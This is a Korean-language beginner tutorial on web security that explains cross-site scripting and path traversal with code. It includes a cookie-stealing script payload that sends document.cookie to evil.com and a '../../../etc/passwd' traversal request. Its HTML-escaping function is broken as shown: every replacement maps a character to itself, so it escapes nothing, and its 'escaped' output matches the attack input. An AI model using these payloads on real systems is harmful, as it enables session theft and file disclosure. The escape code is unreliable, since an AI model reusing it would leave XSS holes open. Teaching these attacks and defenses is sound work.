웹 보안 기초 — XSS와 경로 탐색
이 토픽을 마치면
XSS와 경로 탐색 공격이 무엇인지 설명할 수 있고, "사용자 입력은 무조건 의심한다"는 원칙을 코드에 적용할 수 있습니다.
사용자 입력은 무기가 될 수 있다
웹 애플리케이션은 사용자의 입력을 받아서 처리합니다 — 검색어, 댓글, URL 파라미터. 문제는, 이 입력에 악의적인 코드가 들어올 수 있다는 것입니다.
보안의 첫 번째 원칙: "사용자가 보낸 모든 것은 거짓말일 수 있다."
XSS — 크로스 사이트 스크립팅
XSS(Cross-Site Scripting)는 공격자가 웹페이지에 악성 JavaScript를 삽입하는 공격입니다.
<!-- 게시판에 이런 댓글을 작성한다면? -->
<script>alert('해킹!')</script>만약 서버가 이 댓글을 그대로 HTML에 넣으면, 페이지를 방문하는 모든 사용자의 브라우저에서 이 스크립트가 실행됩니다.
// 더 위험한 예: 쿠키 탈취
// 공격자가 삽입한 스크립트
`<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>`사용자의 로그인 세션이 탈취되면, 공격자가 그 사용자인 것처럼 행동할 수 있습니다.
방어: 이스케이프
HTML 특수문자를 무해한 문자로 변환합니다.
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// <script>alert('해킹!')</script>
// → <script>alert('해킹!')</script>
// 브라우저는 이것을 텍스트로 표시할 뿐, 실행하지 않습니다React, Next.js 같은 프레임워크는 기본적으로 자동 이스케이프를 해줍니다. 하지만 dangerouslySetInnerHTML 같은 API를 사용하면 이 보호가 사라지므로 주의해야 합니다.
경로 탐색 — Path Traversal
서버에서 파일을 읽어서 응답하는 경우, 사용자가 파일 경로를 조작할 수 있습니다.
// 사용자가 요청한 파일을 읽어서 보여주는 코드
const filename = req.query.file; // 사용자 입력!
const content = fs.readFileSync('./public/' + filename, 'utf8');
res.send(content);정상 요청: ?file=about.html → ./public/about.html
공격 요청: ?file=../../../etc/passwd → ./public/../../../etc/passwd → /etc/passwd
..을 사용해서 의도하지 않은 디렉토리로 탈출하는 것입니다.
방어: 경로 정규화 + 화이트리스트
const path = require('path');
const safePath = path.resolve('./public', filename);
// public 디렉토리 안에 있는지 확인
if (!safePath.startsWith(path.resolve('./public'))) {
return res.status(403).send('접근 거부');
}path.resolve()가 ..을 모두 풀어서 실제 절대경로를 만들고, 그 경로가 허용된 디렉토리 안에 있는지 확인합니다.
핵심 원칙 정리
- 절대 신뢰하지 마라: 사용자 입력(URL, 폼, 쿠키, 헤더)은 전부 검증 대상
- 출력 시 이스케이프: HTML에 넣기 전에 특수문자 변환 (XSS 방어)
- 경로는 정규화 후 검증:
..탈출을 막으려면 resolve + startsWith (경로 탐색 방어) - 프레임워크 보호를 우회하지 마라: React의 자동 이스케이프를 끄는 API는 정말 필요할 때만